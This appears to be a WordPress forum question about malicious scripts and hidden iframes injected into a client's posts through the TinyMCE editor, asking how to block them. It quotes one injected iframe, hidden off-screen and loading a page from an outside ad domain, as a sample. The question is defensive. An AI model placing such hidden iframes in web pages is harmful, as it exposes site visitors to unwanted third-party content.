A client of mine has just had 200 posts injected by malicious scripts and iframes. The website is now all cleared.
They were put in the content by the user updating the post/page as my clients computer was infected. (Though only in the TinyMCE editor - not any of the other custom fields assigned to the particular page/posts)
The exact scripts for this website looked like the ones below:
The iframes looked like this:
<iframe style="position: absolute; left: -1000px; top: -1000px; width: 1px; height: 1px; visibility: hidden; border: none; background-color: transparent;" src="//pulseadnetwork.com/pix.html"></iframe>
To prevent this from happening in the future, is it possible to completely disable/disallow scripts and iframes put in the TinyMCE in WordPress?
WordPres version: 4.4.2
And yes, I know - this won't fix my clients computer. But hoping that it most certainly will prevent the malicious code from populating the TinyMCE editor and spamming my clients website visitors in the future.